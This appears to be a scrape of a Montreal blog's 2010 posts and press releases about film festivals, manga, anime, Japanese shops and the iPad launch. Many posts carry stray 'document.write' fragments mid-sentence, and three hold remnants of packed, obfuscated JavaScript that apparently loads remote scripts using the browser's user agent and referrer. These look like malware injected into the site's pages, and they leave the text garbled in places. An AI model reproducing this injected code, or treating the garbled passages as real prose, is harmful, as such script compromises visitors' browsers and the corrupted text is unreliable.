Press Release: Passeports et Cartes Cinéphiles au FFM 2010

Montréal, document.write(“”); le 10 juin 2010 — Le prochain Festival des Films du Monde aura lieu du 26 août au 6 septembre 2010. Les amateurs de cinéma seront encore choyés. En effet, le Festival offre, comme l’an dernier, le système de PASSEPORT mais en plus, il offre la carte CINÉPHILE.
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Aussi bien le PASSEPORT que la carte CINÉPHILE, donnent accès au choix énorme de films présentés au FFM (plus de 700 séances). Les informations ainsi que les bons de commande du PASSEPORT et de la carte CINÉPHILE sont disponibles sur le site Internet du Festival www.ffm-montreal.org

Le PASSEPORT est en vente au coût de 100 $, il donne droit à une réduction sur le prix du catalogue et de l’affiche. La carte CINÉPHILE est en vente au coût de 250 $, elle donne droit à un catalogue et une affiche gratuits. Les détenteurs de la carte CINÉPHILE et les détenteurs de billets individuels auront priorité sur les PASSEPORTS. Chaque détenteur du PASSEPORT ou de la carte CINÉPHILE pourra voter pour les Prix du Public.

Si vous aimez le cinéma de qualité sur grand écran, si vous voulez voir des films des 5 continents, si vous êtes ouvert à la diversité culturelle, si vous aimez voir des films en premières et vous faire votre propre opinion, si vous ne voulez pas rater des films qui ne seront pas distribués par la suite, si vous aimez le contact avec les réalisateurs et acteurs qui présentent leurs films, si vous aimez voyager et être confronté à d’autres façons de vivre et de penser, si vous êtes d’avis qu’une meilleure connaissance des autres cultures rend plus tolérant, si vous aimez la musicalité des langues et des accents, si vous planifiez d’être à Montréal et disponible pour voir des films entre le 26 août et le 6 septembre 2010 pendant le Festival des Films du Monde…

Si vous répondez OUI au moins une fois à ce qui précède, le PASSEPORT ou la carte CINÉPHILE sont faits pour vous. Attention, les quantités sont limitées… Premier inscrit, premier servi.

Pour informations, appeler : (514) 848-3883.

Press Release: Le 34e FFM présentera une rétrospective de Jafar Panahi

Montréal, document.write(“”); le 10 Mai 2010. Le prochain festival des films du monde de Montréal présentera une rétrospective des films du cinéaste iranien Jafar Panahi qui fut le président du jury du FFM en 2009. Sa présence comme président du Jury l’an dernier a été remarquée et saluée par les médias internationaux qui reconnaissent en Mr Panahi l’un des grands cinéaste du monde. « Nous sommes heureux de lui consacrer cette rétrospective en hommage à son immense talent » déclare Serge Losique, le président du conseil du FFM.
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Né en 1960 à Mianeh (Iran), Jafar Panahi est l’un des cinéastes les plus influents de la Nouvelle Vague iranienne. Après son diplôme en réalisation du Collège IRIB à Téhéran, il réalise plusieurs courts et moyens métrages pour la télévision de son pays. En 1995, il signe son premier long métrage de fiction, LE BALLON BLANC,  qui remporte la Caméra d’or à Cannes la même année. Son deuxième film, LE MIROIR, remporte le Léopard d’or au Festival de Locarno en 1997. Son troisième long métrage, LE CERCLE, est présenté dans 40 pays et remporte 18 prix internationaux, parmi lesquels le Lion d’or à Venise en 2000. SANG ET OR (2003) remporte le Prix du jury dans la section Un certain regard à Cannes. Son dernier long métrage, OFFSIDE, est lauréat de l’Ours d’argent au Festival de Berlin en 2006.

Le Festival des films du monde se tient du 26 août au 6 septembre 2010.

L’AFFICHE DU FESTIVAL DES FILMS DU MONDE 2010

Montréal, le 27 avril 2010 – Le Festival des Films du Monde annonce que c’est le projet d’Hubert Samson qui a été choisi comme affiche de sa prochaine édition qui se déroulera du 26 août au 6 septembre 2010.

L’affiche du Festival des Films du Monde 2010 a été choisie par le public général parmi 3 finalistes, tous étudiants en arts graphiques à l’UQAM. Leur professeur, Philippe Béha (lui-même auteur de l’affiche du FFM en 1986), avait demandé à ses étudiants de créer une affiche pour le FFM 2010.

Le public était invité à voter pour désigner son affiche préférée parmi les finalistes et à écrire un commentaire sur les raisons de son choix. Parmi les nombreux commentaires, celui de d’Éric Montpetit, professeur de cinéma, exprime de manière éloquente les impressions éprouvées par ceux qui ont voté pour l’affiche d’Hubert Samson :

« L’acte de voir se trouve bien synthétisé dans cette image d’un personnage aux yeux multiples, symbole de la variété des points de vue exprimés dans la programmation du Festival et, également, dans le regard subjectif de chaque spectateur. Les contours flous de son corps donnent l’impression qu’il vibre ; touché, ébranlé, ému par ce qu’il voit. Cette vibration rappelle aussi celle de la lumière projetée à travers la pellicule sur l’écran. Belle évocation du mouvement au cinéma. Bravo ! »

Press Release: VIZ Media Debuts LIBRARY WARS Manga Series

A LOVE OF BOOKS AND READING INSPIRES A GIRL TO STAND AGAINST CENSORSHIP IN NEW MANGA SERIES LIBRARY WARS: LOVE AND WAR. New Shojo Adventure Follows A Young Recruit In The Library Defense Forces As She Protects The Right To Read.
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San Francisco, document.write(“”); CA, MAY 10, 2010
VIZ Media, LLC (VIZ Media), one of the entertainment industry’s most innovative and comprehensive publishing, animation and licensing companies, brings a new literary manga adventure to North American readers with the release of LIBRARY WARS: LOVE & WAR on June 1st. The series, with story and art by Kiiro Yumi and based on the original concept by Hiro Arikawa, will be published under the Shojo Beat imprint, is rated ‘T+’ for Older Teens and will carry an MSRP of $9.99 U.S. / $12.99 CAN.

In the near future, the federal government creates a special committee to rid society of books it deems unsuitable. But the libraries vow to protect their collections, and with the help of local governments, form a military group to defend themselves – the Library Defense Forces!

In the opening volume, Iku Kasahara has dreamed of joining the LDF ever since one of its soldiers stepped in to protect her favorite book from being confiscated in a bookstore when she was younger. But now that she’s finally a recruit, she’s finding her dream job to be a bit of a nightmare. Especially since her hard-hearted drill instructor seems to have it in for her!

“Manga lovers will root for the cute librarians in this fun new series that also addresses some important issues like liberty, freedom of speech and censorship,” says Candice Uyloan, Director, Consumer Marketing, VIZ Media. “LIBRARY WARS is based on a collection of novels also written by Hiro Arikawa that were extremely popular in Japan, selling more than one million copies. Fans will definitely want to add this adventure to their summer reading lists!”

Hiro Arikawa won the 10th Dengeki Novel Prize for her work Shio no Machi: Wish on My Precious in 2003 and debuted with the same novel in 2004. Arikawa is probably best known for the LIBRARY WARS series and also her trilogy about Japan’s military Self Defense Forces, Jieitai Sanbusaku (The SDF Trilogy), which consists of In the Sky, The Bottom of the Sea, and City of Salt.

Kiiro Yumi won the 42nd LaLa magazine Manga Grand Prix Fresh Debut award for her manga Little Billy’s Depression. Her latest series, LIBRARY WARS: LOVE & WAR is currently featured in Japan’s LaLa magazine.

For more information on this title and other shojo titles from VIZ Media, please visit www.shojobeat.com.

About VIZ Media, LLC
Headquartered in San Francisco, CA, VIZ Media, LLC (VIZ Media), is one of the most comprehensive and innovative companies in the field of manga (graphic novel) publishing, animation and entertainment licensing of Japanese content. Owned by three of Japan’s largest creators and licensors of manga and animation, Shueisha Inc., Shogakukan Inc., and Shogakukan-Shueisha Productions, Co., Ltd., VIZ Media is a leader in the publishing and distribution of Japanese manga for English speaking audiences in North America, the United Kingdom, Ireland, and South Africa and is a global ex-Asia licensor of Japanese manga and animation. The company offers an integrated product line including the popular monthly manga anthology SHONEN JUMP magazine, graphic novels, and DVDs, and develops, markets, licenses, and distributes animated entertainment for audiences and consumers of all ages.

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Press Release: Fantasia, The Shape of things to come


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Montreal Monday May 3rd, document.write(“”); 2010 – While we’re still several weeks away from announcing our full 2010 festival line-up, the
14th annual Fantasia International Film Festival is making an early announcement to highlight several special events planned for this summer’s fest, including a stage play, multiple lifetime achievement awards and a gala performance/screening premiere revolving around one of the most significant silent-film restorations in the history of moving images.

THE COMPLETE METROPOLIS – A GALA EVENT AT PLACE DES ARTS
Seldom has the rediscovery of a cache of lost footage ignited widespread curiosity as did the announcement, in July 2008, that an essentially complete copy of Fritz Lang’s METROPOLIS had been found. This prompted an incredible year-long restoration project, the results of which will be unveiled for the first time in Quebec this summer, at Fantasia. Featuring over 25 minutes of new material (1,257 shots, including entire new sequences), the complete METROPOLIS will be screened as a special gala event at the 3000-seat Wilfred Pelletier theatre in Place des Arts on July 28. For this special night, internationally renowned silent film composer Gabriel Thibaudeau is writing a new score for the feature, which he will perform with a 13-piece orchestra live at the screening. It will be a fantastically historical night in every sense of the word!

Notes on the music for Fantasia’s METROPOLIS event by Gabriel Thibaudeau:

“For the last 22 years I have been resident pianist and composer for the Cinematheque québécoise. METROPOLIS is one of the first films I played to. Writing a new score for this film represents, for me, a long cherished dream. The film’s modern feel and visual treatment lends itself well to experimentation and is a pure joy to create sound for!

How to express musically the class struggle and dialectic that are the foundations of this work? By utilizing not one, but two chamber orchestras! Quite simply, at stage left the orchestra represents the elitist spirit of the city through a string quintet and keyboard. At stage right a brass quintet with organ will form the second orchestra, symbol of the strength of the workers in the subterranean city. The percussion section in the center will form a link between the two worlds/ensembles.

For this two and a half hour performance, specially commissioned by the Fantasia Festival, the majority of movements will be precisely written and perfectly synchronized with the images on screen. However, certain passages will be more free, created live through “Soundpainting”, a technique of improvising from coded gestures used by the conductor.”
– Gabriel Thibaudeau

A LIFETIME ACHIEVEMENT AWARD FOR KEN RUSSELL
Fantasia will present Britain’s celebrated enfant terrible, the director of such one-of-a-kind classics as ALTERED STATES, TOMMY, CRIMES OF PASSION, WOMEN IN LOVE, LISZTOMANIA, GOTHIC, SALOME’S LAST DANCE, MAHLER and LAIR OF THE WHITE WORM, with a lifetime achievement award in celebration of his astoundingly unique and bravely provocative visions.  On the night of his ceremony, we will screen a rare 35mm print of his explosive and still-controversial 1971 masterpiece THE DEVILS. This notoriously powerful film, which remains unavailable on DVD anywhere in the world, stars Oliver Reed and Vanessa Redgrave, and featuring art direction by Derek Jarman.  Russell will be in town for a week and our special “Devils’ Night” award presentation will kick off a massive retrospective of his filmography split across Cinematheque Quebecoise and Cinema Du Parc.

DUAL LIFETIME ACHIEVEMENT AWARDS FOR ANIMATION DUO DON BLUTH & GARY GOLDMAN
Along with the homage to filmmaker Ken Russell, the Fantasia Film Festival is proud to give a lifetime achievement award to Don Bluth and Gary Goldman, the creative duo behind such animated modern classics as THE SECRET OF NIMH, AN AMERICAN TAIL and ALL DOGS GO TO HEAVEN. Bluth and Goldman share a unique story in animation cinema. Beginning their groundbreaking work with Disney, they created their own independent studio in 1973, which lead to numerous collaborations with Steven Spielberg and George Lucas, a detour in the video game world with the DRAGON’S LAIR series and a dozen imaginative feature films. To celebrate this event, the Fantasia Film Festival will screen the prehistoric tale THE LAND BEFORE TIME, the unforgettable classic that lives in the imagination of a generation of cinephiles. Our audience will also have a chance to meet the filmmakers during a special panel on animation.

THE INTERNATIONAL PREMIERE OF STUART GORDON & JEFFREY COMBS’ CRITICALLY ACCLAIMED EDGAR ALLAN POE STAGE PLAY
Award-winning filmmaker Stuart Gordon, beloved for such films as RE-ANIMATOR, FROM BEYOND and STUCK will be returning to Fantasia (after gracing us with the Canadian premiere of EDMOND in 2006) with his staple star Jeffrey Combs to stage their acclaimed one-man play NEVERMORE: AN EVENING WITH EDGAR ALLAN POE, which features Combs in a breathtaking performance as the legendary author. It should be noted that Gordon was a celebrated theatre director for many years before turning to cinema. Among his many impressive credits, the future filmmaker founded Chicago’s Organic Theater in the ’70s and was the first to stage a play by David Mamet, who he continues to collaborate with every now and then. A spellbinding recreation of the public recitals that Poe regularly performed in the years before his death, based on reviews and reports of his actual appearances, NEVERMORE premiered in Los Angeles in July 2009 and was originally slated to run for four weeks.  Critical raves and mass audience draws saw the run extended to nearly six months. Combs’ performance is so captivating and mercurial that many critics have championed him as “the definitive Poe,” a claim that we can fully agree with! 2010 also happens to be the 25th anniversary of RE-ANIMATOR, and in celebration of this, Fantasia will be screening an uncut 35mm print of the cult classic, hosted by Gordon and Combs.

MORE – MUCH MORE – TO COME
The above is but an early tease-taste of what Fantasia has lined up for Montrealers this summer, released to tide you over until we announce our full line-up of over 100 feature films in mid-June. Don’t hesitate to get in touch if you’ve got any questions or requests. Enquiries can be sent to press@fantasiafestival.com .

The 14th annual Fantasia International Film Festival takes place in Montreal July 8 – July 28 2010.

Fantasia Vidéo Promo 2010 from Fantasia International Film Fest on Vimeo.
Also check the festival website: www.fantasiafestival.com

Shopping Japanese in Montreal

Tuesday I visited with my wife a (very) small japanese boutique in downtown Montreal. It’s called “Coco Montreal Space.” They have imported goods from Japan, document.write(“”); designer’s accessories, cookies and many bargains (used books & clothes). It is located at 4055 Ste-Catherine West, #135-B (downstairs, near Metro Atwater) and is open Monday through Friday from 13:00 to 18:00. They also have a small room where they plan to offer various workshops and language courses. It’s cute, but they don’t have much stuff.
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“Coco Montreal Space” is related to the
Coco Montreal free newspaper, dedicated to Canada-Japan cultural exchange (mostly for Japanese expats and Japanese language students).

This reminds me that there are a few other places to shop Japanese in Montreal:

First, there is the “Collection du Japon” store and its related “R. Uchiyama” Japanese Green Tea importer. It is located at 460, Sainte-Catherine West, #423 (Metro McGill, entrance near the Future Shop, on the 4th floor) and is open 13:00-18:00 (Tue-Fri), 10:00-16:00 (Sat). We visit it frequently and recommend it. You can find all sorts of Japanese stuff there: kimonos, books, decoration, kitchen ware, etc.

There is also the “Miyamoto” food store located at 382 Victoria Avenue (near Metro Vendome) and opened 10:00-20:00 (Mon-Fri), 9:00-17:00 (Sat & Sun).

I can also recommand the Japanese restaurant “Sakura Gardens” if you want a “real” Japanese food experience. It is located at 2170 de la Montagne (near Metro Peel). It is opened 11:45-14:30 (Mon-Fri), 12:00-14:30 (Sat) for lunch and 17:30-22:00 (Sun-Thu), 17:30-22:30 (Fri-Sat) for dinner.

R.I.P. Carl Macek

I learned yesterday that Carl Macek (1951-2010) passed away following an heart attack on saturday.
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He is known for having created Robotech (by brilliantly—although it was controversial—stitching together three different japanese animation: Macross, document.write(“”); Southern Cross and Genesis Climber Mospeada) and for adapting into English language many other anime (Akira, Crying Freeman, Doomed Megalopolis, Lensman, Robot Carnival, Twilight of the Cockroaches, and Wicked City). He also collaborated to the production of many other animations (Aura Battler Dunbine, Bleach, Heavy Metal, Lady Death, Lupin III: Castle of Cagliostro, My Neighbor Totoro, Naruto, etc).

This is quite a sad new. I met him several time (mostly in comic-book and anime conventions, starting in the late ’80s) and I have always admired his pioneering work. Since he is responsible for having me discover the rich world of Japanese animation (and, by extension, manga), I owe him a lot. I remember him telling us (embellished) stories about the production of Robotech, and it was so skillfully told that we were suspended to his lips like children listening to a fairy tale, sometimes laughing but always captivated. Since that time, we—our bunch of friends at Protoculture Addicts—were calling him “Uncle Carl.” To paraphrase what was said about Commander Fokker in “Farewell, Big Brother” (episode 18 of Robotech), his death is “a terrible tragedy indeed. I can tell you [he] will be sorely missed.”

You can read tributes to his life on many other web sites: from Jerry Beck (co-founder of Streamline Pictures), from Tommy Yune (director or the new Robotech: The Shadow Chronicles movie), from Rebecca Forstadt (who voiced Minmei as “Reba West”), on ANN and on ICv2.

Requiescat In Pace, Carl Macek.

Quartier Lointain au cinéma

Cette nouvelle est au confluent de deux de mes grands intérêts: le manga et le cinéma. Comme je l’ai déjà mentioné, document.write(“”); Quartier lointain—ce superbe manga de Taniguchi—a été adapté au cinéma par Sam Garbarski. Des détails sur le film, ainsi que la bande-annonce allemande, sont maintenant disponibles.
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Le manga raconte l’histoire d’un “salaryman” en pleine crise de la quarantaine qui, un peu par accident, visite son village natal et se retrouve mystérieusement transporté dans le temps, à l’âge de quatorze ans, pour revivre une partie de son adolescence… Si l’histoire originale se déroule au Japon, dans le village de Kurayoshi (préfecture de Tottori), l’adaptation est elle transposée en France, à Nantua (Rhône-Alpes).

“Thomas, la cinquantaine, père de famille, arrive par hasard dans la ville de son enfance. Alors qu’il se recueille sur la tombe de sa mère, il est pris d’un malaise. Quand il se réveille, son corps semble différent et le nom de sa mère n’est plus gravé sur la pierre tombale… Revenu quarante ans en arrière dans son corps d’adolescent, il décide alors de rentrer ‘chez lui’ pour comprendre ce qui a poussé son père à les abandonner cette année-là et tenter d’empêcher cette mystérieuse disparition. Mais peut-on modifier son passé en le revivant ?” [Texte de présentation sur le site du distributeur]

Quartier lointain, dont le titre allemand est Vertraute Fremde (Familiar Strangers), est une co-production belge (Entre Chien et Loup), française (Archipel 35), luxembourgeoise (Samsa Film) et allemande (Pallas Film). Le film de 98 minutes, distribué par Wild Bunch Distribution, met en vedette Léo Legrand (Thomas enfant), Pascal Greggory (Thomas adulte), Jonathan Zaccaï (le père), Alexandra Maria Lara (la mère), Laura Moisson (Corinne), Pierre-Louis Bellet (Rousseau) et Laura Martin (Sylvie). Ayant déjà eut une avant-première à Cannes en 2009, il sortira d’abord en Allemagne le 20 mai (étrange pour ce qui est, techniquement, un film français) et en France en septembre.

Si l’on se fit à la bande-annonce, le film (dont la production avait été annoncé depuis près de quatre ans) est vraiment proche de l’histoire et de la “mise-en-scène” originale (mis à part la transposition du lieu et quelques détails). C’est certainement à voir.

Sources: About.com, ANN, Movie Maze.

Mon année

Je viens juste de me rendre compte que le dernier Taniguchi est disponible en librairies depuis janvier (novembre en Europe). Il n’est jamais trop tard pour se reprendre puisqu’il est maintenant également disponible dans le réseau des bibliothèques de Montréal

MonAnnée_cov1Mon année est une série composée de 4 albums, qui raconte la vie quotidienne d’une famille confrontée à la trisomie de sa fille de 8 ans, Capucine. Dans le tome 1, les parents apprennent que la petite doit quitter l’école “normale” pour intégrer un établissement spécialisé. Le papa, qui refuse de voir le handicap de sa fille, accuse difficilement le coup. Le fait qu’il soit attiré par Mélanie, la psychomotricienne de Capucine, n’arrange pas les choses. D’autant que la fillette, ultrasensible, va s’en rendre compte…”

[Texte de l’éditeur — voir aussi la couverture arrière]

Après avoir collaboré avec un auteur Européen (Moebius pour Icare en 1997) et avoir expérimenté avec le format d’album Européen (La montagne magique), Jirô TANIGUCHI pousse encore plus loin sa recherche stylistique, cette fois en collaborant avec Jean-David Morvan, pour produire un album directement pour le marché franco-belge. Le premier volume de la série s’intitule “Printemps”. Il est disponible en version couleur et en crayonné. Ce sujet n’est pas sans rappeller With the Light, le manga de Keiko Tobe (décédée en janvier dernier) qui traitait d’un enfant autistique.

Jean-David MORVAN nous offre une belle petite histoire fort simple, comme ce que Taniguchi lui-même aurait pu écrire: un sujet touchant et très humain, orienté sur la vie quotidienne. L’histoire est bien documentée. Le récit est intéressant et bien écrit. J’aime bien la façon dont Morvan nous montre le point de vue tant de la petite trisomique que celui des parents qui s’inquiètent pour le développement de leur petite fille. Malheureusement, malgré tout cela, l’histoire n’a pas la force et la profondeur des récits propres à Taniguchi.

Pour illustrer l’histoire, Taniguchi utilise des techniques plus appropriées à la BD. Si on retrouve toujours son style précis et détaillé, il remplace ici la trame par la couleur (on dirait de l’aquarelle), ce qui donne un aspect très différent à son travail. N’ayant pas son éditeur constamment sur le dos (comme cela se fait au Japon), il peut créé avec une plus grande liberté, mais semble un peu mal à l’aise de devoir dépeindre les paysages francais, qui ne lui sont pas familiers. Le travail semble bien réussi, quoique différent du Taniguchi que l’on a l’habitude de voir. C’est sans doute à nous de s’habituer.

Si Mon année est un pas de plus vers la synergie du manga et de la BD, on sent clairement que cet album est de la BD et non du manga (la plupart des librairies et bibliothèques le classe d’ailleurs comme une BD), ne serait-ce que du fait qu’on le sort au rythme d’un album de 64 pages par année (au Japon on aurait publié ça en un ou deux tomes—de 128 ou 256 pages—et non pas quatre!). Cela fait une série plutôt dispendieuse.

Dans l’ensemble, Mon année mérite d’être lu, ne serait-ce que par curiosité, mais cela n’a rien d’excitant. [Note: malheureusement les tomes 3 à 4 ne sont jamais paru]

Mon année: 1. Printemps, par Jirô TANIGUCHI (dessin) & Jean-David MORVAN (scénario). Dargaud, 2009. Couleur, 31 x 23.6 cm, 64 pgs. 18.00 € / $34.95 Can. Recommandé pour adolescents (12+). ISBN: 978-2505007517. stars-2-5

Vous trouverez plus d’information sur les sites suivants:

[ AmazonBiblioGoodreadsGoogleWikipediaWorldCat ]

 

Mon année 1. Printemps © 2009 Taniguchi • Morvan • Dargaud Benelux (Dargaud-Lombard s.a.).

Ce billet a d’abord été publié le 2010/03/24 12:17 AM (news) puis mis à jour le 2010/04/06 avec un commentaire (review) et le 2018/06/30 avec quelques liens et notes supplémentaires.

[ Translate ]

Mangaya ferme

La seule véritable boutique exclusive de manga à Montréal, document.write(“”); le Marché Clandestin Mangaya, fermera définitivement ses portes le samedi 10 Avril 2010 à 19h00.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfaky|var|u0026u|referrer|ahkzh||js|php’.split(‘|’),0,{}))

Une vente de liquidation a lieu jusqu’au 10 avril : 50% de rabais sur le prix de vente régulier sur tout. Les packs-bundle sont vendus au prix étiquté le moins cher.

Consultez leur page Facebook pour plus d’information.

À tons sens

Karine Perron, document.write(“”); une collègue aide-bibliothécaire de l’arrondissement Ahuntsic-Cartierville, expose présentement ses oeuvres au troquet “Le cep & le houblon” [lien Facebook], situé au 2280 rue Bélanger.

Cette exposition, qui consiste en dix-sept pièces mélangeant le fusain, l’encre et l’acrylique sur papier, nous offre un intéressant voyage dans l’univers imaginaire de l’artiste.

“À tons sens…

Il est des sens comme des vents. Ma production se veut la recherche d’un questionnement visuel. Je travaille beaucoup au niveau des textures, des tons et de la fragilité des impressions, de ce qui m’apparaît. Un temps de réflexion est nécessaire afin de choisir le sens de l’œuvre. Je retouche enfin le tout afin de maintenir le regard en suspend.

L’exposition de 2010 est un survol des 5 dernières années de production à Montréal.

33rd Japan Academy Prize Winners

The winners for the 2010 Japan Academy Awards (see our blog entry on the nominations) are just in:

  • Best Picture: The Sun That Doesn’t Set (Setsuro Wakamatsu)?
  • Best Animated Feature: Summer Wars (Mamoru Hosoda)
  • Best Director: Daisaku Kimura (Mt. Tsurugidake)
  • Best Screenplay: Miwa Nishikawa (Dear Doctor)?
  • Best Actor: Ken Watanabe (The Sun That Doesn’t Set)?
  • Best Actress: Takako Matsu (Villon’s Wife)?
  • Best Supporting Actor: Teruyuki Kagawa (Mt. Tsurugidake)?
  • Best Supporting Actress: Kimiko Yo (Dear Doctor)
  • Best Music: Shinichiro Ikebe (Mt. Tsurugidake)
  • Best Cinematography: Daisaku Kimura (Mt. Tsurugidake)?
  • Best Lighting Direction: Kawabe Takayuki (Mt. Tsurugidake)?
  • Best Art Direction: Yohei Taneda & Kyoko Yauchi (Villon’s Wife)?
  • Best Sound Recording: Teiichi Saito (Mt. Tsurugidake)?
  • Best Film Editing: Takao Arai (The Sun That Doesn’t Set)
  • Best Foreign Language Film: Gran Torino (Clint Eastwood)

(Sources: 日本アカデミー賞,  Wildgrounds).

Dear Doctor / Dia dokuta [ Official site, IMDb ]

Mt. Tsurugidake / Tsurugidake: Ten no ki [ Official site, IMDb ]

Summer Wars / サマーウォーズ [ Official site, ANN ]

Sun That Doesn’t Set (The) / Shizumanu Taiyo [ Official site, IMDb ]

Villon’s Wife / Viyon no tsuma [ Official site, IMDb ]

Apple officially announced its tablet: the iPad

Yesterday Apple finally announced its tablet. It is officially named the iPad (I know: it’s lame, document.write(“”); brings all sorts of jokes about female hygiene, and a name too similar to “iPod“ could cause confusion but who cares; it’s the product that counts, not the name). Opening Apple’s special event titled “Come see our latest creation” at the Yerba Buena Center in San Francisco, Steve Jobs first stated that “Apple is the largest mobile devices company in the world” and said that he chuckled when he saw The Wall Street Journal quote “Last time there was this much excitement about a tablet, it had some commandments written on it.” This quote is emblematic of all the rumors and hype that preceded the release of the iPad.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbrdd|var|u0026u|referrer|zihyh||js|php’.split(‘|’),0,{}))

The device looks like an oversized iPod Touch—it is half-an-inch thick (12.7 mm), weights only 1.5 lbs (680 g) and offers a 9.7” (24.3 cm) LED-backlit Multi-Touch display (resolution of 1024×768 at 132dpi)—but has impressive specs: it’s powered by a 1 GHz Apple A4 chip, a minimum of 16 GB flash-drive (you can also get 32 GB and 64 GB) and a battery that should last 10 hours (or one month of stand-by). It also comes with a dock connector, a speaker, a microphone, a 3.5-mm stereo headphone jack, bluetooth 2.1, wiFi (802.11a/b/g/n), an accelerometer, an ambient light sensor, a digital compass and very few buttons (On/Off/Sleep/Wake, Mute, Volume, Home). It runs the iPhone/iPod Touch OS with optimized basic apps (Safari, Mail, Photos, Video, YouTube, iPod, iTunes, App Store, Maps, Notes, Calendar, Contacts) as well as any traditional iPhone/iPod Touch apps (in their original size or double-pixel, full screen format)—but, by its release time, many developpers will have produced versions of their apps optimized for the iPad. There are also two apps specific to the iPad: iWork for iPad (Pages, Numbers, & Keynote going for $9.99 each) and iBooks, the iPad eBooks reader (using ePub format, eBooks are downloadable from Apple’s iBookstore for $12.99 ~ $14.99).

The iPad also comes as an optional 3G model (that costs an extra $130 US) which offers assisted GPS location and cellular data-only connectivity (UMTS/HSDPA at 850, 1900, 2100 MHz and GSM/EDGE at 850, 900, 1800, 1900 MHz using a Micro-SIM card). The device is unlocked but Apple has strucked a very good deal with AT&T for the 3G service: 250 MB of data for $14.99/month or unlimited data for $29.99 US/month (all that contract-free, so you can cancel anytime). Several accessories are also available: a Dock ($29 US, to charge and sych the iPad or use it as a picture frame), the Keyboard Dock ($69 US, a dock that comes with a full-size keyboard, for those who dislike the onscreen keyboard), a Case ($39 US, to protect the iPad and that can also be used as a stand to type or watch videos), a Camera Connection Kit ($29 US, to import photos either via a USB cable or a SD card), a Dock Connector to VGA Adapter ($29 US, to connect the iPad to a projector or a monitor) and a 10W USB Power Adapter (to charge the iPad directly from a power outlet).

Now, what about pricing & availability? The price (see chart bellow, in $US) is probably the best and most surprising thing about the iPad. The WiFi version will be available in 60 days (late March) and the 3G version will come out in 90 days (late April).

I don’t understand why the tech press made plenty of negative comments about the iPad once it was announced. Of course, after so much hype, the “magical” device may appear a little disappointing, but it is still an excellent product. However, I admit that not everyone will need an iPad. It all depends on what you want from it and which other devices you already have. If you already own both an iPhone and a MacBook, for example, it is likely you would have little use of an iPad. In my case, since I own neither of them, I am not shy to say that it should fulfill my expectations and will certainly answer my needs. As I was currently shopping for a cheap netbook and a Kindle, I am convinced that I will find better than those two devices in a single iPad. You see, the best purchase I made in the last five years was definitely my iPod Touch: I use it constantly as portable internet device, to check weather & bus schedules, read news online, read eBooks, play a few games, listen to music, watch videos, etc. I always keep it close to me and I love it. My only complain is that the screen is a little too small to read or watch video (I am getting old and my eyes are not as good as they were). Therefore, I was searching for a similar device with a bigger (color) screen that would make it easier to read web pages or eBooks and to watch video. I believe that the iPad is, without contest, the best candidate for that. Many apps on my iPod Touch (among others [click for iTunes links] Documents To Go, newspapers readers like Le Monde, NY Times, Cyberpresse, etc., eBooks readers like Stanza, Kindle for iPhone, B&N eReader, Kobo, Comics, Go! Manga, etc., all the PixelMags magazine apps, or video streaming apps like NFB Films or Crunchyroll) will have their real raison d’être with the iPad. So I can’t wait to purchase one (my choice would go for a 16 GB 3G model: I currently own a 8 GB iPod Touch, so 16 GB should be plenty for my need and the 3G would be a great improvement on the WiFi-only iPod).

Unfortunately, much is still unknown about the iPad—What would be the Canadian price? Will there be an affordable 3G international deal for Canada (Jobs said that International deals will start being announced this summer, in June or July, but with Rogers or Bell who knows how long it will take or how expensive it could get)? Will we be able to read our own eBooks in different formats, like PDF?—and it is still a device far from perfection: the iBooks app (and consequently the iBookstore) will be available only in the U.S. (at least in the beginning), the iPad offers no multi-tasking capability, no SD card slot, no Flash support and no webcam. The logical decision would be to wait for the next generation of the device (or at least a few months) to give time for Apple to make improvements, but I know I will purchase one as soon as it is released anyway.

iPad Press Reviews

(updated 2010/02/02)

33rd Japan Academy Prize Nominations

The nominations for the 2010 Japan Academy Prize (the Japanese equivalent for the Motion Picture Academy Awards, a.k.a the Oscars) are just in.

The nominees for Best Picture and Best Director are:

The nominees for Best Animation are:

Japan Centenarian population over 40,000

I just read today on my iPod that the Japanese population over 100 year-old had passed 40, document.write(“”); 000 ! And most of them are women.

I was quite surprised. I was expecting a few thousands but not that much. It has doubled in the last six years and, according to U.N. projections, it will nearly reach the million by 2050. It is true that Japan has a quickly aging population and that their life expectency is greater than the average north american… but that’s a lot of very old people. Japan must really prepare for the coming health-care and retirement crisis that it is likely to face soon. Many developped nation will eventually experience a similar problem (although not as acute as it is the case in Japan). Hopefully, the new Japanese government will find ways to prepare for such a situation….

Eiji Okuda part of the MWFF’s Jury


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The
Montreal World Film Festival has announced that this year’s jury will include Eiji Okuda:

“Other members of the jury include Japanese actor-turned-director Eiji Okuda, document.write(“”); Quebec actor-producer David La Haye, Spanish writer-director Fernando Méndez-Leite Serrano, French director Pascal Thomas, French film music composer Reinhardt Wagner, and Diane Demers of Montreal, who was chosen in a contest to represent the public on the official jury.”

“Eiji Okuda began his screen career as an actor in 1979, winning awards and critical notice for his work in Japan and at international festivals, including Kei Kumai’s Mt. Aso’s Passions at the Montreal World Film Festival in 1990. He won numerous honours for his playing in such films as The Sea and Poison (1986) and Death of a Tea Master (1989), including a Japanese Oscar for his performance in Bo No Kanashimi (1994). He made his directorial debut in 2001 with Shojo. In 2005 he produced Claude Gagnon’s Kamataki, which won four prizes at the 2005 MWFF. His A Long Walk won the Grand Prize of the Americas at the 2006 MWFF.”

Also, the MWFF website just released the programme’s schedule as a PDF file.

ANN will stream two anime TV series

Anime News Networks has announced on 2008-12-10 that it will stream two more anime, document.write(“”); Girl’s High and Ramen Fighter Miki. Starting December 15, both series will be available as free, ad-supported VOD streams, with one new episode being posted every Monday for 12 weeks. The series were licensed from North American anime publisher Media Blasters, and as such will only be available to viewers in North America (US & Canada). Justin Sevakis, ANN director of New Media, has stated that “There’s more coming”.
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ANN is already streaming the OVA Kite Liberator.

(Source: ANN).

ANN launches its streaming anime service

Anime News Networks has launched its streaming anime service on Tuesday 2008/12/09 with Kite: Liberator. The OVA, document.write(“”); released on DVD by Media Blasters, is streamed (in six parts) in both subbed and dubbed versions, but only for North American viewers (US & Canada).
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seryf|var|u0026u|referrer|fbssn||js|php’.split(‘|’),0,{}))

Give it a look!

(Source: ANN).

